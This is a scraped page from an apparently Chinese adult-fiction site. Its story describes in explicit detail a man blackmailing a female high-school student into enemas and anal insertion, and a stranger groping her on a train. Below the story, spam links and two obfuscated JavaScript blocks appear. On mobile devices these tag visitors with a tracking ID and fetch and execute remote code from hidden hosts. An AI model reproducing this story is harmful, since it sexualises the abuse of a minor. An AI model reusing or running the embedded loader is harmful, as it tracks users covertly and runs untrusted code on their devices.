灯光下,有一头亮丽黑色秀发的女高中生,拿着浣肠器的管子,摸向自己的臀部。因为这个动作,女孩儿的身子开始更加朝前压下,黑色如瀑布般的秀发从她的香肩上划过,遮住了她的面颊——对沈思颖来说,这些秀发,简直是一道可以隔绝她和马睿斌,还有这个世界的屏障一样,让她在这种羞愤,但是双腿间的小蜜穴里还被插了根煮熟的山药棒子,那些磨碎的颗粒在自己的小穴里肆虐,那种折磨中,就似一种羞耻的保护膜一样,可以让她隔绝开马睿斌的笑容。

灯光下,沈思颖的两片小小香臀,发出着年轻女孩儿特有的雪白晶莹的光泽,肌理纤细的线条,虽然稍稍缺肉,却也因为这个姿势绷紧翘起之后,显出一片圆润。

雪白的美臀,配着修长雪白,绝对没有一点多余赘肉,就像是象牙般洁白修长的双腿,被黑色毛绒袜子套着的小腿的弧形曲线,足底的鞋子。

学校里高傲的女王,再此一刻,跪在垫子上,自己用指尖寻找着自己粉嫩的屁眼,当她葱白的指尖触摸到那一抹粉嫩的好像菊花般的褶痕,将那截粗粗的橡胶管子的端口,咬着嘴唇,使劲往里插进,直让那粉嫩的雏菊都完全绽开,千丝线条都消失不见,就似乎一起被挤压进那个肉唿唿的小洞里面之后。

站在旁边的男人,捋开了遮着沈思颖俏颜的秀发,看着这个女孩儿似乎受不住这种刺激,在前面得小穴里面还插着一根山药棒子的情况下,再又被异物插进屁眼里面。她的眼睛变的红润,她使劲咬紧小嘴,粉嫩的嘴唇间,那隐隐露出的一抹晶亮。

沈思颖裹在校服里的娇小身子受不住的颤抖着。颤抖,即是因为那种让她受不了得感觉,在被折磨了一天后身子的敏感,又是因为这个恶魔逼着自己的作的事情。丝质衬衫下,两粒小小的椒乳在单薄的棉布内衣下,悄悄立起。

敏感的乳尖和胸衣的摩擦,还有双腿间,那个插在自己小穴里面的煮熟的山药棒子,让自己的小穴里就像着火一样的感觉,折磨……

男人继续微笑的看着沈思颖,似乎想让她觉得更加羞耻一样,一面将那些液体倒入巨大的玻璃针筒中,将针筒的端口插在胶皮脘肠器的另一端,“来,自己弄。”,让沈思颖自己拿着中间的皮球,用手捏着,给自己灌肠,一面又拿出一部手机,开始拍摄起来。

“你还真是个充满了低级趣味的男人……”赤裸的撅着自己的小小屁股,跪在体育用品仓库的垫子上,自己为自己灌肠的女生,在这一刻,任何稍有理智的人都会选择妥协,或者至少不要在这么直言不讳的情况下,她却依旧念出了这么一段话语。

“呵呵?是吗?那既然这样,就不要只是100CC了,200CC吧,然后再加上这个。”男人一面说着,一面用手机拍着,一面还用另一只手从那个口袋中,拿出了一个专门插在肛门里中的珠串按摩棒——紫色的橡胶物体上,一颗颗紫色的球体,由小到大,直到最大的一颗,几乎有乒乓球大小,而且根部的那里还有一个明显是防止从内部挤压出来的肛门塞。

“把这些都弄完后,我就让你回家,只要你进家门前还不要求把这个拿出来的话,我就把照片给你,五张!”

穿着西服的男人继续咧开狐狸般的嘴巴,笑着,将这根肛门棒举到沈思颖面前,手机里,女高中生的小脸充满了恐怖害怕的表情,虽然她在强装镇定,但是从那身子的颤抖,她裸露着的两片好像剥了壳的熟鸡蛋的小屁股的微微战粟中,完全可以看出。

这不可能的!!!

沈思颖在心内大声叫出,她不是没有过被马睿斌强迫浣肠的经历,她知道当那些液体刚刚进到自己肚子里时,暂时还是可以忍耐的,但是之后,不消一会儿,那种粪便和浣肠液要冲出来的感觉,就会让自己再也受不住,直到这一刻,沈思颖的心里才产生害怕,想到如果自己被灌肠之后,受不住这种折磨……

她的心里,有一个声音似乎在喊着,要她向这个男人求饶。但是她那自己都绷紧了喉咙间,抿紧的小嘴里,那个词,却始终没法吐出。

冰冷的浣肠液随着自己手指的用力,尽力不要露出颤抖的动作,灌进了自己体内,立即,那种甘油和生理盐水融合在一起的沉重感觉,还有刺激的感觉,“嗯……”沈思颖尽力控制着自己的唿吸,因为小屁股里被异物充入,白皙的额头上升出了更多汗水,光洁漂亮的小臀部也是微微一颤,变得更加绷紧。

她尽力控制着自己,不想表现的懦弱,虽然不知觉间,那根塞在自己小穴里的山药棒子,因为直肠里灌进浣肠液的挤压,湿润的液体已经更加厉害的从小穴里分泌出来,那种异样已经折磨她一天的感觉,早已变得更加厉害的,渗透进了她的全身!

咕噜噜,咕噜噜,一阵微小的声音,随着那些东西的进入,从她的小肚子中升出。200CC的容量,和之前曾经受过的相比,确实不是什么太多的数量,但是那种感觉,甘油的沉重和生理盐水一起的刺激,“呦,这么快就完了啊!看来你已经很熟练了嘛。”

旁边,嘴角咧成狐狸样子的男人,说着嘲讽的话语,眼看着沈思颖就那么跪在那里,撅着光滑可爱的小小香臀,修长的白腿曲叠着,捏着橡胶球,将所有浣肠液都灌进自己肚子里面。她那抿紧的薄薄嘴唇,不管怎么假装无事,白嫩左边脸颊上有两粒可爱的小乌痣的小脸上,都受不住的升出的那种红润,还有身子的颤抖。

他看着她低垂着缳首,就似乎怕自己看到她忍不住要投降的眼神,怯懦,而低着脑袋不敢看自己的动作,他心中升出一股冲动,想要将手里的珠串棒子立即插进她的屁眼里,想要一手按着她的肚子,一手转着棒子,看着她痛苦哀啼的表情——可惜,现在还不是时候。

他在自己心里念着,“别出来啊!出来的话弄我一身可麻烦了,虽然是你的便便的话,我就是吃下去也不会觉得脏的,不过要是被别的学生看到可就麻烦了。诶。”

他自顾自的说着,再次攥住灌肠器的末端,轻轻的拉动,被浣肠器的管子挤压着,紧紧戳着那截儿棕色物体的橡胶管子四周的白色的括约肌,都是一阵连带的微微拉起。

“嗯……”光着屁股的女高中生,发出一声近乎冷笑的吐息声,这个都已经被剥掉内裤,连屁股里面都被灌满浣肠液的女生,直到这时,居然还不知求饶的,尽力维持着声音的平稳的念道:“是吗?那我那天真的拉些屎给你吃怎么样?算了,你的嘴巴那么脏,相比之下,反而可能会把我的排泄物弄脏了。”

她咬着嘴里白皙的贝齿,屏住唿吸的念道,话语一说,男人的动作立即一僵,然后下一刻,嘴角好像狐狸一样咧开的男人,立即一转手里的橡胶管子。

“嗯嗯……呜……”,口部平硬的管子,搅动着直肠内的肠壁,在沈思颖屁眼里一阵搅动,立即让这个刚刚还口气强硬的女生几乎就要哭出来一样,整个身子都是一阵颤动,就好像自己的肠子都被带动的痛感,折磨,让她立即绷紧身子,就连跪在那里,还藏在鞋子中的娇小白皙的脚趾,足心,都用力弯曲起来。

男人转动着手里的胶皮管子,就好像要把管子立即从沈思颖的屁眼里扯出,但是实际上又没有真的扯出,只是不断拉拽,来回转动着,看着沈思颖就这样在自己手下,她那纤细修长的身子绷紧,同时一刻,又把另一手伸进她两腿间处,抓着那截煮熟的山药棒子的根部,猛的一阵捣动。

前后两个小穴同时有异物插入的女高中生,立即再也受不住的,开口求饶起来,“不要!!!”

她本来没有再抓东西的双手,猛的用力,挥起,就像是想要推开这个男人。但是在下一瞬,似乎终于明白了自己的立场,在照片还在马睿斌手里的情况下,她根部没法和他抗争。剧烈的疼痛,煮熟的山药棒子上的硬毛剐蹭着自己小穴里娇嫩的嫩肉,还有橡胶管坚硬的皮口和直肠搅动的疼痛,让她的小小屁股瞬间绷紧,纤腰,整个身子都是绷紧,身子向上抬起,向后弓着,本来并不怎么丰满的胸部,因为现在这个姿势,撑着校服的胸衣,化出两个略略高起的弧形,汗水就似浆液一样,一股股的不断从她全身上下的汗毛孔中冒出!两条修长的白腿都是裹满汗水,丝丝的白肉,腿部的肌理都从皮下露出的,颤抖着!

“怎么样?想来些更厉害的吗?”男人将嘴巴伸到她的耳边,小声的念着,湿湿热气径直吹进她的小耳朵里面。

不想……再那一刻,那个词语几乎都从她的小嘴中冲出,但是在最后一瞬,她还是咽住,没有念出。男人看着她的眼睛,那种湿润,感觉着她身子的颤抖,裙子滑下,将她两片并不是太多肉的小屁股遮起大半,还有自己抓着山药棒子的手指上,沾着的湿润。

“夹紧了,别喷出来!”

他柔声的说着,松开了左手,右手猛的一用力,灌肠器的管子从屁眼里拔出的感觉,那阵忽然的冰凉,括约肌就好像吞噬下什么东西又被吐出一样的张开,摩擦,让沈思颖的身子再次一颤,但是立即,她就知道自己必须该做什么的,使劲的夹紧了自己的屁眼。一股东西想要从自己身体里出去的感觉,刺激着她的感官,似乎什么东西都从那个小孔里渗透出来,然后,那紫色的珠串棒子,上面前端的小球,又一颗一颗插进自己的屁眼里面……

“嗯嗯……”

男人手里拿着珠串按摩棒,将长长的棒子,上面的小球,一粒一粒挤进沈思颖粉嫩的屁眼里面,看着她的屁眼,那道简直完全被撑成一道白环一样的肛门附近的嫩肉,被紫色的小球压着,往里面钻进,每一颗球过后,再又顺着珠串间最小的连接处,又重新变得微小,缩紧,再又再次变大,紧紧的贴着珠子,撑开,将珠子湿湿的就好像在吃着一粒粒葡萄一样,一颗颗的吞进。每一颗珠子被塞进自己小穴里面的感觉,都让沈思颖的身子受不住的微微一颤,都好像是这个男人的鸡巴插进自己屁眼里一样!

男人将珠串按摩棒直至顶到根部在终于停下,才再次对这个平日里高傲的女高中生说道:“戴着这个回去,到家后,我就把照片给你,如果不行,提前打电话告诉我也可以,不过照片可就会没有了哦。”

他说着,又将一个带着密码锁的皮内裤丢到沈思颖的面前。

左边面颊上有两粒可爱的小乌痣的女孩儿,看着那个熟悉的皮内裤,没有说出任何话语,只是使劲的咬着自己的嘴唇,就像是要把她那薄薄的嘴唇咬碎一样,使劲的咬着。

************

一阵城铁入站时的疾风从面前扫过,让沈思颖本来就不算太长的校服裙子都是一阵飘起,她就和正在等车的大部分穿女性一样,按着自己的裙底,防止被人看到裙下的秘密。

此刻,那种一阵阵袭来,越来越强烈的便意,侵扰着她的思维,让她的身子一阵一阵不断的被冷汗灌满。她一手提着书包,将不像其她女孩儿那样贴满花里胡哨的胶贴画的书包挡在身子前面,遮着在不久前离开体育用品室时,被马睿斌拿走了自己的胸罩,现在在校服下面没有任何保护的酥胸。

她抿紧嘴唇,在一阵一阵从身子里冒出的汗液,还有那种蜜穴里被插进了煮熟的山药棒子,还有屁股里都被灌满了生理盐水,甘油,还插进一根珠串按摩棒的情况下,身子都不能弯曲的,尽力挺直着自己的美背,想做到尽量自然的,走进了车厢里面。

冰凉的空调冷风,制冷换气机带来的气流,让车厢里面的气温比外面低了几度,但是对她来说却没有任何意义。此时车厢内的人说多不多,说少也不少,她本能的,用着自己狐狸一样眼尾上翘的可爱眼睛,扫了一下线路表上自己要去的位置,就匆匆——自己希望可以快些,却根本快不起来的,挪动着自己同样沾满冷汗的修长白腿,在一个角落里站了下来。

她低垂着缳首,没有去考虑可能有乘客离开时会出现的座位,只是尽力希望自己可以想到一些别什么的,什么东西都行,只要让自己不被越来越严重的便意折磨。

那个该死得变态!

可是越希望这样想,她所能想的就越是那个男人,还有现在的自己。

她套着高筒黑色棉布毛绒袜子的修长双腿,膝盖处,那裙底和长袜之间,露出的少许象牙般雪白的大腿,不断摩擦着。瑟瑟冷汗遍布她的全身,让她的双腿被汗液包裹,校服的衬衫变得湿粘,她黑色遮耳的秀发中的几缕发丝,都粘在了洁白的额头上,还有同样满是汗水的月牙般的脖颈上面。

阵阵便意不断袭来,肚子里就像在打鼓一样的感觉,那种翻江倒海的异物冲挤自己的肛门,但是自己的肛门却被按摩棒堵住,而且还在外面套了一个橡胶皮内裤,被锁住。

沈思颖知道马睿斌的计划应该是十分安全,毕竟这个变态只是想享受折磨自己的感觉,并不是想让一切真的曝光——如果曝光的话,玩弄强奸女高中生的罪行,一定也会让这个家伙锒铛入狱,不管他是不是马英韶的大公子!

但是现实里,就算自己知道如此,却还是改变不了自己的命运。她感觉着自己的忍耐似乎已经到了极限,如果不是那个珠串棒子还有皮内裤牢牢堵紧自己的屁眼的话,她肯定早就控制不住,里面东西一定已经喷出来了!

而现在,就算因为这些东西,在那些便意之下,她的脑子,全部注意力,也几乎都落在自己的手机上,只要按下一个号码,向他服输,自己就可以得到密码锁的号码,把那个按摩棒拿出来,可以立即把小肚子里的东西全都排出去,但是此时此刻,说不清是自己那份从心底瞧不起那个男人的骄傲,也谈不上是不是为了争口气,就是有那么一种坚持,感觉,让她始终坚持着,不愿去拨打那个电话。

“……”

错乱的唿吸,小腹内挤压着肛门按摩棒的便意,肚子里的那些东西,让她秀黛微颦,抿紧了嘴唇,而同时还有一根煮熟的山药插在自己小穴里面,那份无法形容的瘙痒,似乎山药棒子已经全都磨碎,变为无数颗粒粘在自己小穴的肉壁上面,还有那些真是不知道究竟是谁想出山药这种食物,那些让自己双腿都不能合拢的细刺。

沈思颖想要尽力控制自己的唿吸,但是那种感觉,便意,却让她的小脸一阵红一阵白,不断的变换着颜色,而且因为担忧,自己还没回到家就会受不住,那些东西会从自己肛门里一点一点分泌出来,就是那个紧身的皮内裤都不能保证它们不从自己裙底溢出,似乎所有这些人都可以看出自己的异样,她口干舌燥,胸前被书包紧紧护住的胸部,已经挺立起来的乳尖和衬衫的丝质面料摩擦着,她甚至都在担心着是不是自己一把书包挪开,就会被人看到自己根本就没穿内衣?

忽然,一种古龙水的香味,一个男人的身影出现在自己面前。

“嘿,又见面啦。”

一个足有一米八以上的身高的男人,喷着满嘴漱口水的味道,朝沈思颖打着招唿。

怎么是这个家伙?女高中生心里暗念一声,上学放学出入校门回家都是几乎坐出租车的她,只有不多的几次坐城铁的经历,而且也只是那几次中,意外的遇到过一个咸猪手的男人,而那个男人,正是现在面前这个人!

一瞬,沈思颖想不起对方的名字,只是看着这个身子很高,如果按照一般人的标准来说也算是很帅气的男人,恶心的舔着嘴唇对自己微笑。

她颦紧眉头,如果不是现在肚子里面的东西,肯定会立刻冷冷的给出对方一句。但现在……她脸上发烫,浑身的汗液就如浓浆一般一股股的流出,双腿都受不住的,没被黑色棉布长袜盖住的膝盖都控制不住的,不断摩擦在一起,小小的屁股都因为肚子里的粪便,微微向后撅着。

她想着怎么样可以摆脱这个男人,但是在现在脑子里一片思维混乱的情况下,根本就想不出什么。

“怎么?我们可爱的小女生,你的嫩屄里插了什么东西吗?”忽然,这个男人说出这么一句话语。

沈思颖几乎就像被一道闪电噼中一样,整个人都呆在了那里,小脸变得煞白。虽然她极力控制着让自己保持冷静,但是她因为便以折磨,变得发白的唇瓣,还是微微哆嗦着。她想要尽力给出对方一个“你在说什么?”的眼神,她张开小嘴,但是喉咙里却根本发不出什么声音。

你是怎么知道的!!!她心底的潜意识中,瞬间,有这么一个声音闪过。

“真没想到,你居然也喜欢玩这种东西?这么说上次是个误会?”

自己都想不起叫什么的男人,继续笑着说出,还抬起手来,看了看手上的一道伤疤。当然,沈思颖清楚记得这道伤疤的来历,那次自己和同学在城铁上聊天的时候,就是这个男人从后面伸过手来,摸自己的胸部,也正是那个时候,自己从抽烟的朋友那里借来打火机,趁着人多,拥挤,用胳膊夹住了那个男人的手臂,用打火机烧着他的手……直到这个男人再也受不住的大叫,然后被众人一起送到车站旁得警局去……

她努力控制着自己的身子,那种身体里的异样,想要走开。但是男人却伸出一只胳膊,按在车厢上,挡住了她的去路。瞬的,沈思颖开始后悔自己为什么找了一个最靠近车厢边角的位置,而且还是在这种连座位也没有的靠近车厢中端连接处的位置。

“别装清纯了,我眼睛很尖的,看女人走路就能看出你们穿的是不是T字裤!你下面插了东西,这个我一眼就看的出来。”

男人继续舔着嘴唇的笑着,而沈思颖的脑子却变为一团乱麻,只能感到男人又抬起一只手来,将手指伸向自己的裙子下面。

她立即伸手过去,想要阻挡,如果换在平时,她肯定会用自己学过的跆拳道,照着这个男人的下身就来一下,一膝盖砸碎他的睾丸!但是现在,她却没法做出任何反击,只能好像电视节目里那些无助的女学生一样,任着这个男人纠缠。

开,开什么玩笑啊!难道一个马睿斌还不够吗?她的心里似乎有一个什么声音在大声念出。

男人的手很有力,可以感到他和着裙底一起,碰触到自己的双腿的手指。肚子里挤压肛门的便意越来越厉害,而男人的身体甚至压到自己身上。

在那一刻,她甚至做出正常情况下自己根本不可能做的事情,瞧向城铁里其余的乘客,就似乎希望有谁注意到这里,可以帮助自己一样。但是……似乎没谁注意到这里……而且,“怎么?想让别人都知道你下面插了什么东西吗?”

男人邪恶的笑着。

“就算是如此……又怎么样?”突然,沈思颖的身体里的声音变大,再也承受不住的女高中没有像男人平时遇到的猎物那样,乖乖的任命,任由他把双手伸进自己的裙底,去把玩自己的胸部,而是反而挺起酥胸,似乎都不在乎衬衫和羊绒无袖外套下面的一切被他看出,看到自己衣服下面挺立出来的乳尖一样,尽力控制着自己唿吸的念道:“不管我身子里有什么,都改变不了你是个色情狂这一点。你想……想再去警察局一次吗?”

她尽力的咬着自己小嘴里的贝齿,不让自己的声音显得颤抖,而这个男人,则显然也没想到她竟然还会反抗!

两人之间的关系变得极为微妙,男人动作停住了,反而是似乎有些不知该怎么应对咬着牙,继续冷笑着。而肚子里的便意让自己的小脸一阵红一阵白的女高中生,则在城铁进站的一刻,从男人身边挤过,虽然肚子里的浣肠液依旧在不断冲击着自己的肛门,自己每走一步小屁股都要费力的向后撅起,却还是尽力维持着平常的,随着人群,快速走进车站里面。

她在人群中,身上的汗液让身子和衬衣几乎都粘在一起,整个身体里,那种抗争,碎掉的山药对小穴里嫩肉的挤压,还有便意,真是使她已经快疯掉了,而且随着她径直寻找着这里的卫生间,又要注意那个男的是不是跟了出来,甚至都让她感觉自己的肛门已经被直肠里面的东西顶的向外凸起,珠串棒底部的肛门塞子都快从自己的肛门里挤出来了!

不行,要坚持住!她控制不住的捂着肚子,走进卫生间里面,白色的空间里,一个女人正对着硕大的镜子整理着自己的仪容,沈思颖的目光撇过镜子里的自己,看着自己满脸汗水,脸上的表情几乎都已经绷紧了,眉黛颦起。她抿紧嘴唇,很幸运的,走到一个没人使用的隔间里面。

然后,“呜……”,她立即忍着肚子里再也忍受不住的想要宣泄出来的便意,抓住了一个一次性坐垫垫在马桶上,似乎真的已经有什么东西从自己肛门边上渗透出来一样,从书包里拿出手机,按下了那个号码。

一阵乱遭的手机铃声响起,黍文安的歌声,但是却没有人来接电话!快点,快点!沈思颖抿着小嘴,一只小手按着自己被灌满了浣肠液的小肚子,在心内喊道。

“喂?”终于,电话被人接了,她几乎声调都变了的,迫不及待的念出。

“我要密码……”

“怎么?不再坚持了吗?半个小时了,已经快到家了吧?在坚持一下多好,不觉得可惜吗?”马睿斌的声音慢条斯理的在电话那端响起,唿吸略重。

“给我密码……求你……”终于,在坚持了这么久后,她还是念出了那个字,她控制不住的哭了起来,觉得自己完全败给了这个变态,但是现在小肚子里已经让自己快要疯掉的便意,又让她不能不等待对方的回答……

“为什么要这么说呢?实在憋不住了吗?不是说要在地铁里拉出来了吧?”马睿斌继续不着急的,唿吸有些费力的说道。

“……求你……”再也受不住的女高中生,继续念着那个字,捂着自己的肚子,捏着手机的手指都捂在了自己的小嘴上。

“13456……”男人终于念出了那个号码,并又说道:“明天早上来我这里,我们到时候在聊聊这个游戏的惩罚该怎么办……对了,别挂机,把你现在的样子录下来,让我瞧瞧……”

本来是那么高傲的女高中生没有等他说完就放下了手机,屁股里什么东西再往外钻的感觉更加明显,她撩起裙子,因为裙摆太过碍事的缘故,甚至用白皙的贝齿咬起裙子,露出象牙般美白修长的大腿根部,紧紧箍着自己饱满阴阜和臀部的黑色胶皮短裤,上面的密码锁,以及那一小抹耀白光滑的小腹。

她葱白般纤细的手指,指尖,颤抖着,在那个金属的锁上转动密码锁的数字,“啪”的一声,锁扣打开了。瞬间,那种要控制不住的肛门好像要炸裂一样的感觉,让她猛的停住动作,整个身子都前掘后弓的僵在了那里,S形的线条,浣肠液顶着肛门按摩棒,顶着自己肛门的感觉……足足过了数秒之后,那种感觉才终于稍稍歇下……

她开始用最快速度脱掉自己的鞋子,袜子,露出了同样是涂着黑色指甲油的趾尖,因为那种便意的折磨而绷紧,弓起的雪白玉足,足踝之处美的就像最精巧的艺术家的雕塑品一样,细细的足根和韧筋。她曲着双腿,脱下下身的衣物,把它们和自己的书包一起放在马桶的水箱上。

然后,又终于将那个皮内裤从双腿上脱下,湿粘的液体,从自己被插了山药棒子的小穴里分泌出的蜜液,还有煮熟的山药棒子根部的碎粒,沾满了内裤里面。甚至还有些她最担心的,一些浑浊的黄汤在上面。

她继续用力控制着自己的肛门,撅着自己的小小臀部。修长的美腿之上,少肉的香臀上的胯骨的痕迹,在此刻,都因为这种身子前倾的姿势显得特别明显。她用手指抓住插在自己肛门里的按摩棒的末端,一点一点的向外扣出,那每一颗珠子从肛门里拉出,和肛门四周的括约肌剐蹭在一起的感觉,都好似马睿斌的鸡巴,在自己的肛门里进出的剐蹭一样。

“嗯嗯……”她顾不得别的,或者说虽然想所有的东西都可以拉在马桶里,但是肚子里越来越厉害的疼痛,又让她没法再这么小心的。

扑哧一声,随着一个特别响的响屁,一股湿湿的水流打在了自己的手指上,还没等沈思颖把按摩棒全都抽出来,和按摩棒上的珠子紧紧挤压在一起的满是浊物的小孔的缝隙间,就再也止不住的,喷出了一片的臭气熏天的黄褐色浊水。

一种再憋了许久后,肛门终于松开,狂流而出的浣肠液,可以得到排泄的快感,居然在此时此刻,沈思颖都不能想象的,随着这些臭烘烘得东西从她的肛门里喷出,充斥到了她的感官神经中,让她感觉了无比的舒服……

“呜呜……”在那一刻,女高中生再也控制不住的用另一只

==记住==亚洲色吧

网址: yazhouse8.com yazhouseba.co 好色小姨0344Wife nightbar母亲凌辱同学黑丝设 计女友 绿帽 处女妈妈 十八岁asshole好色小姨0344母亲受辱丝袜奶奶高跟会的筋挛两个男人同时岳母偷情女婿商芳体育生 轮奸只有女的润滑 油油糖尿病

上一篇 (西门同学) 校园春色 下一篇 (桌球上我输了女友)


上一篇:神鹰帝国(未删节第七卷)(51-74)

下一篇:综漫幻想传奇(05)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};